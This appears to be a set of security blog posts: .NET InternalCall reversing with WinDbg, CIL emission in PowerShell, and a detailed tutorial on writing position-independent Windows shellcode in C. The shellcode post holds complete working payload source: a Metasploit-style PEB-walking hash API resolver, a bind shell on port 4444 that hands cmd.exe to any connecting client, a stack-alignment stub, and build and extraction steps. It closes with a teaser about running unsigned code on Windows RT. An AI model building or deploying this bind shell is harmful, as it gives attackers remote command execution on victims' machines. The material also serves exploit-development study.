Reverse Engineering InternalCall Methods in .NET

Often times, when attempting to reverse engineer a particular .NET method, I will hit a wall because I’ll dig in far enough into the method’s implementation that I’ll reach a private method marked [MethodImpl(MethodImplOptions.InternalCall)]. For example, I was interested in seeing how the .NET framework loads PE files in memory via a byte array using the System.Reflection.Assembly.Load(Byte[]) method. When viewed in ILSpy (my favorite .NET decompiler), it will show the following implementation:

 

 

So the first thing it does is check to see if you’re allowed to load a PE image in the first place via the CheckLoadByteArraySupported method. Basically, if the executing assembly is a tile app, then you will not be allowed to load a PE file as a byte array. It then calls the RuntimeAssembly.nLoadImage method. If you click on this method in ILSpy, you will be disappointed to find that there does not appear to be a managed implementation.

 

 

As you can see, all you get is a method signature and an InternalCall property. To begin to understand how we might be able reverse engineer this method, we need to know the definition of InternalCall. According to MSDN documentation, InternalCall refers to a method call that “is internal, that is, it calls a method that is implemented within the common language runtime.” So it would seem likely that this method is implemented as a native function in clr.dll. To validate my assumption, let’s use Windbg with sos.dll – the managed code debugger extension. My goal using Windbg will be to determine the native pointer for the nLoadImage method and see if it jumps to its respective native function in clr.dll. I will attach Windbg to PowerShell since PowerShell will make it easy to get the information needed by the SOS debugger extension. The first thing I need to do is get the metadata token for the nLoadImage method. This will be used in Windbg to resolve the method.

 

 

As you can see, the Get-ILDisassembly function in PowerSploit conveniently provides the metadata token for the nLoadImage method. Now on to Windbg for further analysis…

 

 

The following commands were executed:

 

1) .loadby sos clr

 

Load the SOS debugging extension from the directory that clr.dll is loaded from

 

2) !Token2EE mscorlib.dll 0x0600278C

 

Retrieves the MethodDesc of the nLoadImage method. The first argument (mscorlib.dll) is the module that implements the nLoadImage method and the hex number is the metadata token retrieved from PowerShell.

 

3) !DumpMD 0x634381b0

 

I then dump information about the MethodDesc. This will give the address of the method table for the object that implements nLoadImage

 

4) !DumpMT -MD 0x636e42fc

 

This will dump all of the methods for the System.Reflection.RuntimeAssembly class with their respective native entry point. nLoadImage has the following entry:

 

635910a0 634381b0   NONE System.Reflection.RuntimeAssembly.nLoadImage(Byte[], Byte[], System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef, Boolean, System.Security.SecurityContextSource)

 

So the native address for nLoadImage is 0x635910a0. Now, set a breakpoint on that address, let the program continue execution and use PowerShell to call the Load method on a bogus PE byte array.

 

PS C:\> [Reflection.Assembly]::Load(([Byte[]]@(1,2,3)))

 

You’ll then hit your breakpoint in WIndbg and if you disassemble from where you landed, the function that implements the nLoadImage method will be crystal clear – clr!AssemblyNative::LoadImage

 

 

You can now use IDA for further analysis and begin digging into the actual implementation of this InternalCall method!

 

 

After digging into some of the InternalCall methods in IDA you’ll quickly see that most functions use the fastcall convention. In x86, this means that a static function will pass its first two arguments via ECX and EDX. If it’s an instance function, the ‘this’ pointer will be passed via ECX (as is standard in thiscall) and its first argument via EDX. Any remaining arguments are pushed onto the stack.

 

So for the handful of people that have wondered where the implementation for an InternalCall method lies, I hope this post has been helpful.

Simple CIL Opcode Execution in PowerShell using the DynamicMethod Class and Delegates

tl:dr version

It is possible to assemble .NET methods with CIL opcodes (i.e. .NET bytecode) in PowerShell in only a few lines of code using dynamic methods and delegates.

---

I’ll admit, I have a love/hate relationship with PowerShell. I love that it is the most powerful scripting language and shell but at the same time, I often find quirks in the language that consistently bother me. One such quirk is the fact that integers don’t wrap when they overflow. Rather, they saturate – they are cast into the next largest type that can accommodate them. To demonstrate what I mean, observe the following:

You’ll notice that [Int16]::MaxValue (i.e. 0x7FFF) understandably remains an Int16. However, rather than wrapping when adding one, it is upcast to an Int32. Admittedly, this is probably the behavior that most PowerShell users would desire. I, on the other hand wish I had the option to perform math on integers that wrapped. To solve this, I originally thought that I would have to write an addition function using complicated binary logic. I opted not to go that route and decided to assemble a function using raw CIL (common intermediate language) opcodes. What follows is a brief explanation of how to accomplish this task.

Common Intermediate Language Basics

CIL is the bytecode that describes .NET methods. A description of all the opcodes implemented by Microsoft can be found here. Every time you call a method in .NET, the runtime either interprets its opcodes or it executes the assembly language equivalent of those opcodes (as a result of the JIT process - just-in-time compilation). The calling convention for CIL is loosely related to how calls are made in X86 assembly – arguments are pushed onto a stack, a method is called, and a return value is returned to the caller.

Since we’re on the subject of addition, here are the CIL opcodes that would add two numbers of similar type together and would wrap in the case of an overflow:

IL_0000: Ldarg_0 // Loads the argument at index 0 onto the evaluation stack.
IL_0001: Ldarg_1 // Loads the argument at index 1 onto the evaluation stack.
IL_0002: Add // Adds two values and pushes the result onto the evaluation stack.
IL_0003: Ret // Returns from the current method, pushing a return value (if present) from the callee's evaluation stack onto the caller's evaluation stack.

Per Microsoft documentation, “integer addition wraps, rather than saturates” when using the Add instruction. This is the behavior I was after in the first place. Now let’s learn how to build a method in PowerShell that uses these opcodes.


Dynamic Methods

In the System.Reflection.Emit namespace, there is a DynamicMethod class that allows you to create methods without having to first go through the steps of creating an assembly and module. This is nice when you want a quick and dirty way to assemble and execute CIL opcodes. When creating a DynamicMethod object, you will need to provide the following arguments to its constructor:

1) The name of the method you want to create

2) The return type of the method

3) An array of types that will serve as the parameters

The following PowerShell command will satisfy those requirements for an addition function:

$MethodInfo = New-Object Reflection.Emit.DynamicMethod('UInt32Add', [UInt32], @([UInt32], [UInt32]))

Here, I am creating an empty method that will take two UInt32 variables as arguments and return a UInt32.

Next, I will actually implement the logic of the method my emitting the CIL opcodes into the method:

$ILGen = $MethodInfo.GetILGenerator()
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)

Now that the logic of the method is complete, I need to create a delegate from the $MethodInfo object. Before this can happen, I need to create a delegate in PowerShell that matches the method signature for the UInt32Add method. This can be accomplished by creating a generic Func delegate with the following convoluted syntax:

$Delegate = [Func``3[UInt32, UInt32, UInt32]]

The previous command states that I want to create a delegate for a function that accepts two UInt32 arguments and returns a UInt32. Note that the Func delegate wasn't introduced until .NET 3.5 which means that this technique will only work in PowerShell 3+. With that, we can now bind the method to the delegate:

$UInt32Add = $MethodInfo.CreateDelegate($Delegate)

And now, all we have to do is call the Invoke method to perform normal integer math that wraps upon an overflow:

$UInt32Add.Invoke([UInt32]::MaxValue, 2)

Here is the code in its entirety:

#Requires -Version 3

function Add
{
    Param
    (
        [UInt32] $Num1,
        [UInt32] $Num2
    )

    $MethodInfo = New-Object Reflection.Emit.DynamicMethod('UInt32Add', [UInt32], @([UInt32], [UInt32]))
    $ILGen = $MethodInfo.GetILGenerator()
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Add)
    $ILGen.Emit([Reflection.Emit.OpCodes]::Ret)

    # Note, the Func delegate was introduced in .NET 3.5 and hence
    # will not be available in PowerShell version 2
    $Delegate = [Func``3[UInt32, UInt32, UInt32]]
    $UInt32Add = $MethodInfo.CreateDelegate($Delegate)

    $UInt32Add.Invoke($NUm1, $Num2)
}

# Example: Will wrap and return 1
Add ([UInt32]::MaxValue) 2

For additional information regarding the techniques I described, I encourage you to read the following articles:

Introduction to IL Assembly Language
Reflection Emit Dynamic Method Scenarios
How to: Define and Execute Dynamic Methods

Writing Optimized Windows Shellcode in C

Download: PIC_Bindshell

Introduction

I’ll be the first to admit: writing shellcode sucks. While you have the advantage of employing some cool tricks to minimize the size of your payload, writing shellcode is still error prone and difficult to maintain. For example, I find it quite challenging having to track register allocations (especially in x86) and ensure proper stack alignment (especially in x86_64). Eventually, I got fed up, stepped back, and asked myself, “Why can’t I just write my shellcode payloads in C and let the compiler and linker take care of the rest?” That way, you only have to write your payload once and you can target it to any architecture – x86, x86_64, and ARM. Also, you would have the following added benefits:

1. You can subject your payload to static analysis tools.
2. You can unit test your code.
3. You can employ heavy compiler and linker optimizations to your payload.
4. The compiler is much better at optimizing assembly for size and/or speed than you are.
5. You can write your payload in Visual Studio. Intellisense, FTW!

Now, you could say I’m a bit of a Microsoft fan boy. That said, considering the majority of the shellcode I’ve written has been for Windows, I decided to take on the challenge of using only Microsoft tools to emit position independent shellcode. The fundamental challenge however, is that the Microsoft C compiler – cl.exe does not emit position independent code (with the exception of Itanium). Ultimately, to achieve this goal, we’re going to have to rely upon some C coding tricks and some carefully crafted compiler and linker switches.

Shellcode – Back to the Basics

When writing shellcode, whether you do it in C or assembly, the following rules apply:

1) It must be position independent.

In most cases, you cannot know a priori the address at which your shellcode is going to land. Therefore, all branching instructions and instructions that dereference memory must be executed relative to the base address of where you were loaded. The gcc compiler has the option of emitting position independent code (PIC) but unfortunately, Microsoft’s compiler does not.

2) Your payload is on the hook for resolving external references.

If you want your payload to do anything useful, at some point, you’re going to have to call Win32 API functions. In your typical executable, external symbolic references are satisfied in one of two ways: either they are resolved by the loader at startup by walking the import directory of the executable or they are resolved dynamically at runtime using GetProcAddress. Shellcode neither has the luxury of being loaded by a loader nor can it just call GetProcAddress since it has no idea what the address of kernel32!GetProcAddress is in the first place – a classic chicken and the egg problem.

In order to resolve the addresses of library functions, shellcode must resolve function names on its own. This is typically accomplished in shellcode with a function that takes a 32-bit module and function hash, gets the PEB (Process Environment Block) address, walks a linked list of the loaded modules, scans the export directory of each module, hashes each function name, compares it against the hash provided, and if there is a match, the function address is calculated by adding its RVA to the base address of the loaded module. I’m obviously glossing over the details of the process in the interest of space but fortunately, this process is widely used (e.g. in Metasploit) and well documented.

3) Your payload must save stack and register state upon entry and restore state upon exiting the shellcode.

We will get this for free by writing the payload in C by virtue of having function prologs and epilogs emitted by the compiler for each function.

GetProcAddressWithHash Function in C

In the download provided, the GetProcAddressWithHash function resolves Win32 API exported function addresses. I adapted the logic of the function from the Metasploit block_api assembly function:

#include <windows.h>
#include <winternl.h>

// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
 BOOL Initialized;
 PVOID SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
 LIST_ENTRY InLoadOrderLinks;
 LIST_ENTRY InMemoryOrderLinks;
 LIST_ENTRY InInitializationOrderLinks;
 PVOID DllBase;
 PVOID EntryPoint;
 ULONG SizeOfImage;
 UNICODE_STRING FullDllName;
 UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
 PPEB PebAddress;
 PMY_PEB_LDR_DATA pLdr;
 PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
 PVOID pModuleBase;
 PIMAGE_NT_HEADERS pNTHeader;
 DWORD dwExportDirRVA;
 PIMAGE_EXPORT_DIRECTORY pExportDir;
 PLIST_ENTRY pNextModule;
 DWORD dwNumFunctions;
 USHORT usOrdinalTableIndex;
 PDWORD pdwFunctionNameBase;
 PCSTR pFunctionName;
 UNICODE_STRING BaseDllName;
 DWORD dwModuleHash;
 DWORD dwFunctionHash;
 PCSTR pTempChar;
 DWORD i;

#if defined(_WIN64)
 PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
 // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
 // necessary to get the PEB.Ldr address
 PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
 __emit( 0x00006B1B );
#else
 PebAddress = (PPEB) __readfsdword( 0x30 );
#endif

 pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
 pNextModule = pLdr->InLoadOrderModuleList.Flink;
 pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;

 while (pDataTableEntry->DllBase != NULL)
 {
  dwModuleHash = 0;
  pModuleBase = pDataTableEntry->DllBase;
  BaseDllName = pDataTableEntry->BaseDllName;
  pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
  dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

  // Get the next loaded module entry
  pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;

  // If the current module does not export any functions, move on to the next module.
  if (dwExportDirRVA == 0)
  {
   continue;
  }

  // Calculate the module hash
  for (i = 0; i < BaseDllName.MaximumLength; i++)
  {
   pTempChar = ((PCSTR) BaseDllName.Buffer + i);

   dwModuleHash = ROTR32( dwModuleHash, 13 );

   if ( *pTempChar >= 0x61 )
   {
    dwModuleHash += *pTempChar - 0x20;
   }
   else
   {
    dwModuleHash += *pTempChar;
   }
  }

  pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);

  dwNumFunctions = pExportDir->NumberOfNames;
  pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);

  for (i = 0; i < dwNumFunctions; i++)
  {
   dwFunctionHash = 0;
   pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
   pdwFunctionNameBase++;

   pTempChar = pFunctionName;

   do
   {
    dwFunctionHash = ROTR32( dwFunctionHash, 13 );
    dwFunctionHash += *pTempChar;
    pTempChar++;
   } while (*(pTempChar - 1) != 0);

   dwFunctionHash += dwModuleHash;

   if (dwFunctionHash == dwModuleFunctionHash)
   {
    usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
    return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
   }
  }
 }

 // All modules have been exhausted and the function was not found.
 return NULL;
}

Going from top to bottom, you may notice a few things:

• I defined ROTR32 as a macro.

The Metasploit payload uses a rotate-right hashing function. Unfortunately, there is no rotate right operator in C. There are several rotate right compiler instrinsics but they are not consistent across processor architectures. The ROTR32 macro implements the logic of a rotate right operation using the equivalent logical operators available to us in C. What’s cool, is that the compiler will recognize that this macro performs a rotate right operation and it will actually compile down to a single rotate right assembly instruction. That’s pretty bas ass, in my opinion.

• I redefine two structure definitions.

Both of those structure are defined in winternl.h but Microsoft’s public definition is incomplete so I simply redefined the structures with the fields I needed.

• There is a different method of getting the PEB address depending upon the processor architecture you’re targeting.

The PEB address is the first step in resolving exported function addresses. The PEB is a structure that contains several pointers to the loaded modules of a process. In x86 and x86_64, the PEB address is obtained by dereferencing an offset into the fs and gs segment registers, respectively. On ARM, the PEB address obtained by reading a specific register from the system control processor (CP15). Fortunately, there is a respective compiler intrinsic for each processor architecture. For whatever reason though, the compiler was not emitting correct ARM assembly instruction so I had to tweak instructions in a very counterintuitive manner.

Implementing Your Primary Payload in C

I’m going to be using a simple bind shell payload as an example for this post. Here is my implementation in C:

#define WIN32_LEAN_AND_MEAN

#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'

#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>

#define BIND_PORT 4444
#define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) )

// Redefine Win32 function signatures. This is necessary because the output
// of GetProcAddressWithHash is cast as a function pointer. Also, this makes
// working with these functions a joy in Visual Studio with Intellisense.
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
 _In_z_ LPTSTR lpFileName
);

typedef int (WINAPI *FuncWsaStartup) (
 _In_ WORD wVersionRequested,
 _Out_ LPWSADATA lpWSAData
);

typedef SOCKET (WINAPI *FuncWsaSocketA) (
 _In_  int af,
 _In_  int type,
 _In_  int protocol,
 _In_opt_ LPWSAPROTOCOL_INFO lpProtocolInfo,
 _In_  GROUP g,
 _In_  DWORD dwFlags
);

typedef int (WINAPI *FuncBind) (
 _In_ SOCKET s,
 _In_ const struct sockaddr *name,
 _In_ int namelen
);

typedef int (WINAPI *FuncListen) (
 _In_ SOCKET s,
 _In_ int backlog
);

typedef SOCKET (WINAPI *FuncAccept) (
 _In_  SOCKET s,
 _Out_opt_ struct sockaddr *addr,
 _Inout_opt_ int *addrlen
);

typedef int (WINAPI *FuncCloseSocket) (
 _In_ SOCKET s
);

typedef BOOL (WINAPI *FuncCreateProcess) (
 _In_opt_ LPCTSTR lpApplicationName,
 _Inout_opt_ LPTSTR lpCommandLine,
 _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 _In_  BOOL bInheritHandles,
 _In_  DWORD dwCreationFlags,
 _In_opt_ LPVOID lpEnvironment,
 _In_opt_ LPCTSTR lpCurrentDirectory,
 _In_  LPSTARTUPINFO lpStartupInfo,
 _Out_  LPPROCESS_INFORMATION lpProcessInformation
);

typedef DWORD (WINAPI *FuncWaitForSingleObject) (
 _In_ HANDLE hHandle,
 _In_ DWORD dwMilliseconds
);

// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload( VOID )
{
 FuncLoadLibraryA MyLoadLibraryA;
 FuncWsaStartup MyWSAStartup;
 FuncWsaSocketA MyWSASocketA;
 FuncBind MyBind;
 FuncListen MyListen;
 FuncAccept MyAccept;
 FuncCloseSocket MyCloseSocket;
 FuncCreateProcess MyCreateProcessA;
 FuncWaitForSingleObject MyWaitForSingleObject;
 WSADATA WSAData;
 SOCKET s;
 SOCKET AcceptedSocket;
 struct sockaddr_in service;
 STARTUPINFO StartupInfo;
 PROCESS_INFORMATION ProcessInformation;
 // Strings must be treated as a char array in order to prevent them from being stored in
 // an .rdata section. In order to maintain position independence, all data must be stored
 // in the same section. Thanks to Nick Harbour for coming up with this technique:
 // http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
 char cmdline[] = { 'c', 'm', 'd', 0 };
 char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };

 // Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
 SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
 SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

 #pragma warning( push )
 #pragma warning( disable : 4055 ) // Ignore cast warnings
 // Should I be validating that these return a valid address? Yes... Meh.
 MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C );

 // You must call LoadLibrary on the winsock module before attempting to resolve its exports.
 MyLoadLibraryA((LPTSTR) module);

 MyWSAStartup = (FuncWsaStartup) GetProcAddressWithHash( 0x006B8029 );
 MyWSASocketA = (FuncWsaSocketA) GetProcAddressWithHash( 0xE0DF0FEA );
 MyBind = (FuncBind) GetProcAddressWithHash( 0x6737DBC2 );
 MyListen = (FuncListen) GetProcAddressWithHash( 0xFF38E9B7 );
 MyAccept = (FuncAccept) GetProcAddressWithHash( 0xE13BEC74 );
 MyCloseSocket = (FuncCloseSocket) GetProcAddressWithHash( 0x614D6E75 );
 MyCreateProcessA = (FuncCreateProcess) GetProcAddressWithHash( 0x863FCC79 );
 MyWaitForSingleObject = (FuncWaitForSingleObject) GetProcAddressWithHash( 0x601D8708 );
 #pragma warning( pop )

 MyWSAStartup( MAKEWORD( 2, 2 ), &WSAData );
 s = MyWSASocketA( AF_INET, SOCK_STREAM, 0, NULL, 0, 0 );

 service.sin_family = AF_INET;
 service.sin_addr.s_addr = 0; // Bind to 0.0.0.0
 service.sin_port = HTONS( BIND_PORT );

 MyBind( s, (SOCKADDR *) &service, sizeof(service) );
 MyListen( s, 0 );
 AcceptedSocket = MyAccept( s, NULL, NULL );
 MyCloseSocket( s );

 StartupInfo.hStdError = (HANDLE) AcceptedSocket;
 StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
 StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
 StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 StartupInfo.cb = 68;

 MyCreateProcessA( 0, (LPTSTR) cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
 MyWaitForSingleObject( ProcessInformation.hProcess, INFINITE );
}

There are a few things I needed to be mindful of while writing the payload in order to satisfy the requirements imposed by position independent shellcode:

• I defined HTONS as a macro.

It was easier to define this as a macro versus incurring the overhead of calling ws2_32.dll!htons. Besides, HTONS is ideally suited for a macro since all it does is convert a USHORT from host to network byte order.

• I had to manually define the function signatures for each Win32 API function.

This was necessary since each call to GetProcAddressWithHash needs to be cast to a function pointer. Also, with Intellisense, calling the function has the look and feel of calling a normal Win32 function in Visual Studio. This part is admittedly a pain in the ass. It certainly beats the guess and check method though when writing assembly by hand!

• "ExecutePayload" is the function that implements the primary logic of the bind shell.

Normally, you would call the function "main". One of the problems I ran into though is that when the linker encounters a function named “main,” it expects to be linked against the C runtime library. Obviously, shellcode shouldn’t and doesn’t require the CRT so renaming the entry point to something besides “main” and explicitly telling the linker your entry point function obviates the need to link against the CRT.

• “cmd” and “ws2_32.dll” are explicitly defined as null-terminated character arrays.

This technique was first described by Nick Harbour as a way to force the compiler to allocate strings on the stack. By default, strings are stored in the .rdata section of a binary and relocations are defined in the executable for any references to those strings. Storing strings on the stack allows for references to be made in a position independent manner.

• SecureZeroMemory is used to initialize stack variables

SecureZeroMemory is basically a memset that cannot be compiled out. It is also an inline function meaning I am spared the overhead of having to resolve the address of memset.

• The rest of the payload, is your typical, run-of-the-mill C… only slightly malicious.

Ensuring Proper Stack Alignment in 64-bit Shellcode

32-bit architectures (i.e. x86 and ARMv7) require that function calls be made with 4-byte stack alignment. It is pretty much guaranteed that your shellcode will land with 4-byte alignment. 64-bit shellcode however, needs to have 16-byte stack alignment. This is due to a requirement imposed by utilizing 128-bit XMM registers. Those who have written 64-bit shellcode have most likely experienced crashes at an instruction using an XMM register upon calling Win32 a function. This is due to stack misalignment.

Executable files, when loaded are afforded the luxury of having guaranteed alignment during CRT initialization. Shellcode is afforded no such luxury, however. So, in order to ensure that my shellcode hits its entry point with proper stack alignment on 64-bit, I had to write a short assembly stub that guaranteed alignment. Then, as a pre-build event in Visual Studio, I assemble the shellcode with ml64 (MASM – the Microsoft Assembler) and specify the resulting object file as a dependency for the linker.

Here is the code that performs the alignment:

EXTRN ExecutePayload:PROC
PUBLIC  AlignRSP   ; Marking AlignRSP as PUBLIC allows for the function
     ; to be called as an extern in our C code.

_TEXT SEGMENT

; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.

AlignRSP PROC
 push rsi    ; Preserve RSI since we're stomping on it
 mov  rsi, rsp  ; Save the value of RSP so it can be restored
 and  rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
 sub  rsp, 020h  ; Allocate homing space for ExecutePayload
 call ExecutePayload ; Call the entry point of the payload
 mov  rsp, rsi  ; Restore the original value of RSP
 pop  rsi    ; Restore RSI
 ret      ; Return to caller
AlignRSP ENDP

_TEXT ENDS

END

Basically, what’s happening here is I am preserving the original stack value, and’ing RSP (the stack pointer) to achieve 16-byte alignment, allocating homing space, and then calling the original entry point – ExecutePayload (i.e. the bind shell code).

I also have a small helper function in C that simply calls AlignRSP:

#if defined(_WIN64)
extern VOID AlignRSP( VOID );

VOID Begin( VOID )
{
 // Call the ASM stub that will guarantee 16-byte stack alignment.
 // The stub will then call the ExecutePayload.
 AlignRSP();
}
#endif

This little helper function will then serve as the new entry point that will be specified to the linker. I will explain shortly why this wrapper function is necessary.

Compiling the Shellcode

I use the following compiler (cl.exe) command line switches in my Visual Studio 2012 project:

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

Each switch warrants an explanation as it is relevant to the shellcode that will be generated.

/GS-: Disables stack buffer overrun checks. If enabled, external stack cookie setter and getter functions would be called which would no longer make the shellcode position independent.

/TC: Tells the compiler to treat all files as C source files. One of the quirks of this command-line switch is that all local variables must be defined at the beginning of a function. If they are not, unintuitive errors will occur when attempting to compile.

/GL: Whole program optimization. This option tells the linker (via the /LTGC option) to optimize across function calls. I chose this option because I just really like the idea of fully-optimized shellcode. :D

/W4: Enables the highest warning level. This is just good practice.

/O1: Tells the compiler to favor small code over fast code – an ideal attribute of shellcode.

/FA: Outputs an assembly listing. This is optional. I just prefer to validate the assembly code emitted by the compiler.

/Zl: Omit the default C runtime library name from the resulting object file. This serves to tell the linker that you don’t intend to link against the C runtime.

/Os: Another way to tell the compiler to favor small code.

Linking the Shellcode

The following linker (link.exe) switches are used for x86/ARM and x86_64, respectively:

/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

Each switch warrants an explanation as it is relevant to the shellcode that will be generated.

/LTCG: Enables global optimizations by the linker. The compiler has little to no control over optimizations across function calls since it compiles on a function-by-function basis. Therefore, the linker is ideally suited to perform optimizations across function calls since it receives all of the object files emitted by the compiler.

/ENTRY: Specifies the entry point of the binary. This is “ExecutePayload” (the bind shell logic) in x86 and ARM. However, in x86_64, it is “Begin” – the call to the stack alignment stub – “AlignRSP”. The reason the “Begin” function is necessary in 64BitHelper.h is because since we’re eventually emitting shellcode, we have to explicitly set the link order (via the /ORDER switch). The Microsoft linker doesn’t allow you to specify link order for extern functions (i.e. AlignRSP). To get around this, I simply wrapped AlignRSP in a function. “Begin” is then specified as the first function to be linked. That way, it will be the first code to be called in the shellcode.

/OPT:REF: Eliminates functions and/or data that are never referenced. We want our shellcode to be as small as possible. This linker optimization will reduce shellcode size by eliminating dead code/data.

/SAFESEH:NO: Do not emit SafeSEH handlers. Shellcode has no need for registered exception handling.

/SUBSYSTEM:CONSOLE: As far as shellcode goes, the subsystem is irrelevant. Specifying “CONSOLE” though will allow you to test the compiled exe from the command line.

/MAP: Generate a map file. This file is used to pull out the size of the shellcode.

/ORDER: Because we are generating shellcode, the order in which functions are linked is extremely important. Originally, it was my assumption that the entry point function would be the first function to be linked. This, however, did not turn out to be the case. The /ORDER switch takes a text file containing the functions in the order in which they should be linked. You’ll notice that the function at the top of each list is the entry point function.

/OPT:ICF: Removes redundant functions. This is optional.

/NODEFAULTLIB: Explicitly tells the linker not to attempt to use default libraries when resolving external references. This switch is handy if you accidentally have an external reference in your code. The linker will throw an error which will bring to your attention the fact that your payload cannot have any external references!

Extracting the Shellcode

After the code is compiled and linked, the final step is to pull the shellcode out of the resulting exe. This requires a tool that can parse a PE file and pull the bytes out of the .text section. Fortunately, Get-PEHeader already does this. The only caveat though is that if you were to pull out the entire .text section, you would be left with a bunch of null padding. That’s why I wrote another script that parses the map file which contains the actual length of the code in the .text section.

For those who enjoy analyzing PE files, it is worth investigating the exe files generated. It will only contain a single section - .text and it will not have any entries in the data directories in the optional header. This is exactly what I sought after – a binary without any relocations, extraneous sections, or imports.

Build Steps: PIC_Bindshell

PIC_Bindshell.zip includes a Visual Studio 2012 project. I tested it on both VS2012 Express and Ultimate Edition. Just load the solution file (*.sln) in Visual Studio, select the architecture you want to target, and then build. What is output is an exe and a shellcode (*.bin) payload.

The Express Edition of Visual Studio 2012 does not support compiling for ARM. Also, if this is your first time compiling for ARM, Visual Studio will throw the following error upon attempting to compile:

C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.

You also need to remove the following line from “C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h” (338):

#error Compiling Desktop applications for the ARM platform is not supported.

Simply remove those lines, restart Visual Studio, and then you’ll be good to go.

Conclusion

With a clearer understanding of how the Microsoft compiler and linker work in concert, it is possible to write fully optimized Windows shellcode in C that can be targeted to any supported processor architecture. That doesn’t mean that you shouldn’t have a clear understanding of the assembly language you’re targeting, though. It just means you don’t have to waste cycles writing large quantities of assembly language by hand. Also, I’ll trust the compiler over my feeble brain any day.

BTW, my 64-bit shellcode uses XMM registers. Does yours? :P

Windows RT ARMv7-based Shellcode Development

Recently, I've taken an interest in gaining code execution on my Surface RT tablet. I have found Windows RT to be rather enticing since Microsoft has made a concerted effort to prevent the execution of unsigned code. A couple weeks ago I discovered a way to gain arbitrary shellcode execution via PowerShell. I will have a separate blog post on that topic once I get a thumbs up from Microsoft. And for the record, I am aware of the awesome public Windows RT jailbreak.

